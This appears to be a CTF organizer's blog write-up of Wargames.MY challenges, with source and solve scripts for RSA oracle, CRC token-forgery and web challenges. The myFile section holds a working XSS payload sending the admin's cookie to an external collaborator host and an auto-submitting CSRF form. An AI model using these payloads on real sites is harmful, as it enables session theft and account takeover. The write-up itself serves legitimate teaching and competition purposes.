We organized Wargames.MY CTF last weekend and it ended well, congrats to all winners!
Here are some of my challenges I created:
Christmas GIFt
Here is your christmas GIFt from santa! Just open and wait for it..
Attachment:
This GIF file only consists of 3 images:
But the 2nd image will delay around 10 days, then only it will reveal the 3rd image..
If you’re curious on how to generate the GIF, here is the script
Solving
To solve this, we just need to extract every frame in the GIF file by using the convert
command:
convert -coalesce gift.gif out%05d.png
Then open the last image, then you will get the flag!
Flag
wgmy{1eaa6da7b7f5df6f7c0381c8f23af4d3}
Rick’S Algorithm
My friend Rick designed an alogrithm that is super secure! Feel free to try it!
Given a python source code:
from Crypto.Util.number import *
import os
from secret import revealFlag
flag = bytes_to_long(b"wgmy{REDACTED}")
p = getStrongPrime(1024)
q = getStrongPrime(1024)
e = 0x557
n = p*q
phi = (p-1)*(q-1)
d = inverse(e,phi)
while True:
print("Choose an option below")
print("=======================")
print("1. Encrypt a message")
print("2. Decrypt a message")
print("3. Print encrypted flag")
print("4. Print flag")
print("5. Exit")
try:
option = input("Enter option: ")
if option == "1":
m = bytes_to_long(input("Enter message to encrypt: ").encode())
print(f"Encrypted message: {pow(m,e,n)}")
elif option == "2":
c = int(input("Enter ciphertext to decrypt: "))
if c % pow(flag,e,n) == 0 or flag % pow(c,d,n) == 0:
print("HACKER ALERT!!")
break
print(f"Decrypted message: {pow(c,d,n)}")
elif option == "3":
print(f"Encrypted flag: {pow(flag,e,n)}")
elif option == "4":
print("Revealing flag: ")
revealFlag()
elif option == "5":
print("Bye!!")
break
except Exception as e:
print("HACKER ALERT!!")
As you can see, it is a RSA question and we can interact with the service to encrypt plaintext or decrypt ciphertext, and we are given the encrypted flag
But there are three restrcitions:
- \(n\) is not given
- cannot decrypt value when \(flag^e \mod n\) is not coprime with c
- cannot decrypt value when \(c^d \mod n\) is not coprime with flag
Which means we cannot simply decrypt the flag directly, or just decrypt with encrypted flag plus modulus!
Solving
We can simply send -1
for decryption to find \(n\), then we can seperate the decryption process, by applying modular arithmetic to find the flag!
For example, we can decrypt the value \(2\) and \(flag^e/2\) then we get \(2^d\) and \((flag^e/2)^d\) in modular of \(n\)
We can just multiply both value together then apply modular, because at the end we will get \(flag \mod n\): \[2^d \mod n \cdot (flag^e/2)^d \mod n\] \[=2^d \cdot (flag^e/2)^d \mod n\] \[=(flag^e)^d \mod n\] \[=(flag^1) \mod n=flag \mod n\]
Here is the python script to solve the challenge:
from pwn import *
from Crypto.Util.number import long_to_bytes
# p = process(["python3","server.py"])
p = remote("43.216.11.94",32773)
p.sendlineafter(": ",'2')
p.sendlineafter(": ",'-1')
p.recvuntil(": ")
n = int(p.recvuntil("\n")[:-1])+1
p.sendlineafter(": ",'3')
p.recvuntil(": ")
c = int(p.recvuntil("\n")[:-1])
p.sendlineafter(": ",'2')
p.sendlineafter(": ",str(c//2))
p.recvuntil(": ")
c2 = int(p.recvuntil("\n")[:-1])
p.sendlineafter(": ",'2')
p.sendlineafter(": ",'2')
p.recvuntil(": ")
two = int(p.recvuntil("\n")[:-1])
print(long_to_bytes(c2*two % n))
# b'wgmy{ce7a475ff0e122e6ac34c3765449f71d}'
Note: May need run multiple times to get the flag, because the ciphertext is not divisible by 2
Flag
wgmy{ce7a475ff0e122e6ac34c3765449f71d}
Rick’S Algorithm 2
Someone crack our algorithm! We fixed it, hopefully its secure now..
Given a python source code:
from Crypto.Util.number import *
import os
from secret import revealFlag
flag = bytes_to_long(b"wgmy{REDACTED}")
p = getStrongPrime(1024)
q = getStrongPrime(1024)
e = 0x557
n = p*q
phi = (p-1)*(q-1)
d = inverse(e,phi)
while True:
print("Choose an option below")
print("=======================")
print("1. Encrypt a message")
print("2. Decrypt a message (Disabled)")
print("3. Print encrypted flag")
print("4. Print flag")
print("5. Exit")
try:
option = input("Enter option: ")
if option == "1":
m = bytes_to_long(input("Enter message to encrypt: ").encode())
print(f"Encrypted message: {pow(m,e,n)}")
elif option == "2":
print(f"Disabled decryption to prevent flag leaking!")
elif option == "3":
print(f"Encrypted flag: {pow(flag,e,n)}")
elif option == "4":
print("Revealing flag: ")
revealFlag()
elif option == "5":
print("Bye!!")
break
except Exception as e:
print("HACKER ALERT!!")
Disabled decryption, then previous method no longer working, we have to solve it only using encryption
Solving
Find \(n\)
First step is find \(n\), also using the rules of modular arithmetic!
If we encrypt the value 2, it will output \(2^e \mod n\). If you understand modulo it just calculate the remainder after divide it with divisor. Means we can rewrite the equation become \(2^e = kn + c\) where \(c\) is the ciphertext of value 2
We can calculate \(kn\) by calculate \(2^e - c\), but we still don’t know \(n\) yet. In order to find \(n\) we need to calculate another \(kn\) and calculate the GCD (greatest common divisor) of both value!
For example, we encrypt the value 2 and 3 and get \(2^e \mod n\) and \(3^e \mod n\), then we calculate both \(kn\) by calculate \(2^e - c_1\) and \(3^e - c_2\), then finally apply GCD for both value to find \(n\)!
Implementation in python code:
p = remote("43.216.11.94",32776)
p.sendlineafter(": ",'1')
p.sendlineafter(": ",'\x02')
p.recvuntil(": ")
# 2^0x557 - (2^0x557)%n == kn
x = (2**0x557)-int(p.recvuntil("\n")[:-1])
p.sendlineafter(": ",'1')
p.sendlineafter(": ",'\x03')
p.recvuntil(": ")
# Calculate the GCD of 2^0x557 - (2^0x557)%n and 3^0x557 - (3^0x557)%n to find n
n = gcd(x,(3**0x557)-int(p.recvuntil("\n")[:-1]))
# Repeat this until we found the correct n
tmp=4
while n.bit_length()!=2048:
if tmp == 11:
break
p.sendlineafter(": ",'1')
p.sendlineafter(": ",chr(tmp))
p.recvuntil(": ")
n = gcd(n,(tmp**0x557)-int(p.recvuntil("\n")[:-1]))
tmp+=1
Hastad’s Broadcast attack
Second step is to gather \(e\) pairs of modulus and ciphertext to perform Hastad’s Broadcast attack! Because the flag is always the same and modulus is different everytime we connect so is possible to perform this attack!
Below is the python script to gather modulus and ciphertext pairs and save it in a text file:
from pwn import *
from gmpy2 import gcd
i = 0
while i != 0x557:
N = open("N.txt","a")
C = open("C.txt","ab")
# p = process(["python3","server.py"])
p = remote("43.216.11.94",32776)
p.sendlineafter(": ",'1')
p.sendlineafter(": ",'\x02')
p.recvuntil(": ")
# 2^0x557 - (2^0x557)%n == kn
x = (2**0x557)-int(p.recvuntil("\n")[:-1])
p.sendlineafter(": ",'1')
p.sendlineafter(": ",'\x03')
p.recvuntil(": ")
# Calculate the GCD of 2^0x557 - (2^0x557)%n and 3^0x557 - (3^0x557)%n to find n
n = gcd(x,(3**0x557)-int(p.recvuntil("\n")[:-1]))
# Repeat this until we found the correct n
tmp=4
while n.bit_length()!=2048:
if tmp == 11:
break
p.sendlineafter(": ",'1')
p.sendlineafter(": ",chr(tmp))
p.recvuntil(": ")
n = gcd(n,(tmp**0x557)-int(p.recvuntil("\n")[:-1]))
tmp+=1
# Save n and c in text file
if tmp != 11:
N.write(str(n)+"\n")
p.sendlineafter(": ",'3')
p.recvuntil(": ")
c = p.recvuntil("\n")[:-1]
C.write(c+b"\n")
i+=1
p.close()
It takes around 12mins on localhost:
real 12m20.999s
user 11m37.822s
sys 0m46.618s
Final step is to use Sage to calculate the CRT and the root of \(flag^e\), then we get the flag!
Sage script:
from Crypto.Util.number import *
N = eval('['+open("N.txt","r").read().replace("\n",',')[:-1]+']')
C = eval('['+open("C.txt","r").read().replace("\n",',')[:-1]+']')
# Calculate the CRT with all N's and C's
# Then find the root of 0x557
print(long_to_bytes(crt(C[:1367],N[:1367]).nth_root(1367)))
# Output:
# b'wgmy{1ee240ab7db21db1268c3e1e44fee9a0}'
Flag
wgmy{1ee240ab7db21db1268c3e1e44fee9a0}
Hohoho 3
Santa Claus is coming to town! Send your wishes by connecting to the netcat service!
We are given a python script:
#!/usr/bin/env python3
import hashlib
from Crypto.Util.number import *
m = getRandomNBitInteger(128)
class User:
def __init__(self, name, token):
self.name = name
self.mac = token
def verifyToken(self):
data = self.name.encode(errors="surrogateescape")
crc = (1 << 128) - 1
for b in data:
crc ^= b
for _ in range(8):
crc = (crc >> 1) ^ (m & -(crc & 1))
return hex(crc ^ ((1 << 128) - 1))[2:] == self.mac
def generateToken(name):
data = name.encode(errors="surrogateescape")
crc = (1 << 128) - 1
for b in data:
crc ^= b
for _ in range(8):
crc = (crc >> 1) ^ (m & -(crc & 1))
return hex(crc ^ ((1 << 128) - 1))[2:]
def printMenu():
print("1. Register")
print("2. Login")
print("3. Make a wish")
print("4. Wishlist (Santa Only)")
print("5. Exit")
def main():
print("Want to make a wish for this Christmas? Submit here and we will tell Santa!!\n")
user = None
while(1):
printMenu()
try:
option = int(input("Enter option: "))
if option == 1:
name = str(input("Enter your name: "))
if "Santa Claus" in name:
print("Cannot register as Santa!\n")
continue
print(f"Use this token to login: {generateToken(name)}\n")
elif option == 2:
name = input("Enter your name: ")
mac = input("Enter your token: ")
user = User(name, mac)
if user.verifyToken():
print(f"Login successfully as {user.name}")
print("Now you can make a wish!\n")
else:
print("Ho Ho Ho! No cheating!")
break
elif option == 3:
if user:
wish = input("Enter your wish: ")
open("wishes.txt","a").write(f"{user.name}: {wish}\n")
print("Your wish has recorded! Santa will look for it!\n")
else:
print("You have not login yet!\n")
elif option == 4:
if user and "Santa Claus" in user.name:
wishes = open("wishes.txt","r").read()
print("Wishes:")
print(wishes)
else:
print("Only Santa is allow to access!\n")
elif option == 5:
print("Bye!!")
break
else:
print("Invalid choice!")
except Exception as e:
print(str(e))
break
if __name__ == "__main__":
main()
As you can see, we need to forge the token of Santa Claus
in order to view the wishlists (flag)! The token algorithm is basically just CRC that consists of 128bits
This challenge is actually inspired by a challenge from DubheCTF 2024 called ezcrc
Solving
m = getRandomNBitInteger(128)
...
def generateToken(name):
data = name.encode(errors="surrogateescape")
crc = (1 << 128) - 1
for b in data:
crc ^= b
for _ in range(8):
crc = (crc >> 1) ^ (m & -(crc & 1))
return hex(crc ^ ((1 << 128) - 1))[2:]
As you can see, the CRC value is generated based on the value m
and is a random 128bits number. Once we recovered m
we can generate any CRC value we want!
For example we can register as name as \x00
and \x80
, then we can XOR their token to recover m
!
Python script to solve it:
from Crypto.Util.number import *
from pwn import *
context.log_level = "debug"
def crc128(data, poly):
crc = (1 << 128) - 1
for b in data:
crc ^= b
for _ in range(8):
crc = (crc >> 1) ^ (poly & -(crc & 1))
return crc ^ ((1 << 128) - 1)
# p = process(["python3","server.py"])
p = remote("43.216.11.94",32777)
p.sendlineafter("option: ",'1')
p.sendlineafter("name: ",b"\x00")
p.recvuntil("login: ")
x = int(p.recvuntil("\n")[:-1],16)
p.sendlineafter("option: ",'1')
p.sendlineafter("name: ",b"\x80")
p.recvuntil("login: ")
y = int(p.recvuntil("\n")[:-1],16)
print(hex(crc128(b"Santa Claus", x^y)))
p.interactive()
Output:
0x7dffdc2bd1d55203a546bf7a0a88ea6b
[*] Switching to interactive mode
1. Register
2. Login
3. Make a wish
4. Wishlist (Santa Only)
5. Exit
Enter option: $ 2
Enter your name: $ Santa Claus
Enter your token: $ 7dffdc2bd1d55203a546bf7a0a88ea6b
Login successfully as Santa Claus
Now you can make a wish!
1. Register
2. Login
3. Make a wish
4. Wishlist (Santa Only)
5. Exit
Enter option: $ 4
Wishes:
Santa Claus: Merry Christmas! Flag: wgmy{6952956e2749f941428e6d16b169ac91}
Flag
wgmy{6952956e2749f941428e6d16b169ac91}
Hohoho 3 Continue
Someone broke the service! Now everyone can only register once..
This time we only can register once, based on the source code given:
#!/usr/bin/env python3
import hashlib
from Crypto.Util.number import *
m = getRandomNBitInteger(128)
class User:
def __init__(self, name, token):
self.name = name
self.mac = token
def verifyToken(self):
data = self.name.encode(errors="surrogateescape")
crc = (1 << 128) - 1
for b in data:
crc ^= b
for _ in range(8):
crc = (crc >> 1) ^ (m & -(crc & 1))
return hex(crc ^ ((1 << 128) - 1))[2:] == self.mac
def generateToken(name):
data = name.encode(errors="surrogateescape")
crc = (1 << 128) - 1
for b in data:
crc ^= b
for _ in range(8):
crc = (crc >> 1) ^ (m & -(crc & 1))
return hex(crc ^ ((1 << 128) - 1))[2:]
def printMenu():
print("1. Register")
print("2. Login")
print("3. Make a wish")
print("4. Wishlist (Santa Only)")
print("5. Exit")
def main():
print("Want to make a wish for this Christmas? Submit here and we will tell Santa!!\n")
user = None
registered = False
while(1):
printMenu()
try:
option = int(input("Enter option: "))
if option == 1:
# User only can register once to fix forge token bug
if registered:
print("Ho Ho Ho! No cheating!")
break
name = str(input("Enter your name: "))
if "Santa Claus" in name:
print("Cannot register as Santa!\n")
continue
print(f"Use this token to login: {generateToken(name)}\n")
registered = True
elif option == 2:
name = input("Enter your name: ")
mac = input("Enter your token: ")
user = User(name, mac)
if user.verifyToken():
print(f"Login successfully as {user.name}")
print("Now you can make a wish!\n")
else:
print("Ho Ho Ho! No cheating!")
break
elif option == 3:
if user:
wish = input("Enter your wish: ")
open("wishes.txt","a").write(f"{user.name}: {wish}\n")
print("Your wish has recorded! Santa will look for it!\n")
else:
print("You have not login yet!\n")
elif option == 4:
if user and "Santa Claus" in user.name:
wishes = open("wishes.txt","r").read()
print("Wishes:")
print(wishes)
else:
print("Only Santa is allow to access!\n")
elif option == 5:
print("Bye!!")
break
else:
print("Invalid choice!")
except Exception as e:
print(str(e))
break
if __name__ == "__main__":
main()
Which means the previous way does not work anymore.. then how to solve this?
Solving
Its possible the control the next CRC value, if we know one of the CRC value! This article states if we append one’s complement of the current CRC value, the new CRC will confirm be 0xffffffff.. (1 « bit_size) -1
We can register as Santa Clau
, then get the token then convert one’s complement then see the first character if is s
, because our name must contain Santa Claus
to see the wishlist!
Below is the python script to solve it:
from Crypto.Util.number import *
from pwn import *
for i in range(1000):
p = remote("43.216.11.94",32778)
p.sendlineafter("option: ",'1')
# Register as Santa Clau
p.sendlineafter("name: ",b"Santa Clau")
p.recvuntil("login: ")
x = int(p.recvuntil("\n")[:-1],16)
# Check the CRC is endswith 8c, because after one's complement
# 0x8c become 's', then our name contains Santa Claus
if hex(x).endswith("8c"):
p.sendlineafter("option: ",'2')
p.sendlineafter("name: ",b"Santa Clau"+long_to_bytes(((1 << 128) - 1)-x)[::-1])
# Token is confirm (1<<128)-1
p.sendlineafter("token: ","ffffffffffffffffffffffffffffffff")
p.interactive()
break
p.close()
Output:
[*] Switching to interactive mode
Login successfully as Santa ClausMt\xb7\xc5)\xf7#n\xf5\xbe\xc8#\xa4Y
Now you can make a wish!
1. Register
2. Login
3. Make a wish
4. Wishlist (Santa Only)
5. Exit
Enter option: $ 4
Wishes:
Santa Claus: Merry Christmas! Flag: wgmy{3fa42c79018552d4419e67d186c91875}
Flag
wgmy{3fa42c79018552d4419e67d186c91875}
myFile
Built a file sharing website using ChatGPT! Feel free to try it!
Attachment:
Is a file sharing website, where user can upload files and share the link for others to download. It also contains admin dashboard, and report abuse page.
Note: Many participants solve it by exploiting the phantomjs CVE-2019-17221 which is not the intended way, I should’ve use puppeteer for the BOT
The attachments contains a bot.js, which means we need perform XSS attack to steal admin’s cookie.
var webPage = require('webpage');
var system = require('system');
var args = system.args;
var page = webPage.create();
var url = decodeURIComponent(args[1]);
var admin_pwd = args[2];
// Login as admin
page.open('http://localhost/admin.php?username=admin&password='+admin_pwd, function (status) {
// Open the URL given and wait 3 seconds
page.open(url, function (status) {
setTimeout(function(){
phantom.exit();
},3000);
});
});
Notice got something odd in download.php
?
<?php
if(isset($_POST['name']) && isset($_POST['id'])){
$conn = new mysqli("localhost","admin","admin","myfile_db");
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$sql = "SELECT * FROM files WHERE fileid=?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("s", $_POST['id']);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();
if($row){
// Prevent directory traversal
$filepath = realpath("/files/".$row["filename"]);
if(strpos($filepath, "/files") !== 0){
die("<h5 class='text-danger'>HACKER ALERT!!</h5>");
}
if (file_exists($filepath)) {
header('Content-Description: File Download');
header('Content-Type: text/html');
header('Content-Disposition: attachment; filename="' . $_POST["name"] . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
flush(); // Flush system output buffer
readfile($filepath);
die();
} else {
http_response_code(404);
die();
}
}else{
http_response_code(404);
die();
}
}
?>
The Content-Type
header is set to text/html
, which means the file we upload the browser will treated as HTML code! Unfortunately, got Content-Disposition
which means the browser will download the file directly.. The goal is obviously XSS, and no other place is vulnerable, then how do we solve this?
Solving
We can control the filename of the downloaded file because our parameter is directly append after the Content-Disposition
header:
header('Content-Disposition: attachment; filename="' . $_POST["name"] . '"');
If you put binary value such as null bytes in the name
parameter, notice the header will disappear! Because PHP will ignore the header if it contains invalid values!
Because this download function only works on POST request, so we need to host a CSRF request HTML file to perform CSRF attack to trigger the XSS payload we uploaded! Because no CSRF token implemented in the website
First step is to upload a XSS script to steal admin cookie:
We used Burp Collaborator to steal its cookie:
<script type="text/javascript">
document.location = "http://ng763gwhra8zfzjcs4hf27mxgomfa6yv.oastify.com?cookie="+document.cookie;
</script>
We copy the file id return in server response:
Craft a CSRF HTML file that will auto submit POST request, that will trigger the uploaded XSS payload! name
parameter put newline character to let it ignore the Content-Disposition
header:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/download.php" method="POST">
<input type="hidden" name="name" value=" " />
<input type="hidden" name="id" value="67b1e3b346e1580419df9bee35d3b04a" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Run python3 -m http.server
to host your CSRF script into localhost:8000/csrf.html then run ngrok http 8000
to expose our web server to a public address:
Submit the CSRF script public address in to report abuse page:
Check the burp collaborator tab, we can see the admin cookie in the GET parameter!
Change our cookie to the admin’s cookie, then go to dashboard.php
Download the flag.txt!
Flag
wgmy{2e51ed84b09a65cec62b50ce8bc7e57c}
Conclusion
The CTF was a success! Many global players and no downtime for the platform!! Its great to see all of my challenge has been solved, although many solved myFile
the uninteded way.. but its ok at least one of the writeups is the intended way! Thanks for playing!
Participant writeups
- shen solved myfile intended way
- Sc
- k3sero Hohoho 3
- k3sero Hohoho 3 continue
- NUS GreyHats
- entity069 RSA and RSA2
- More writeups in WGMY discord!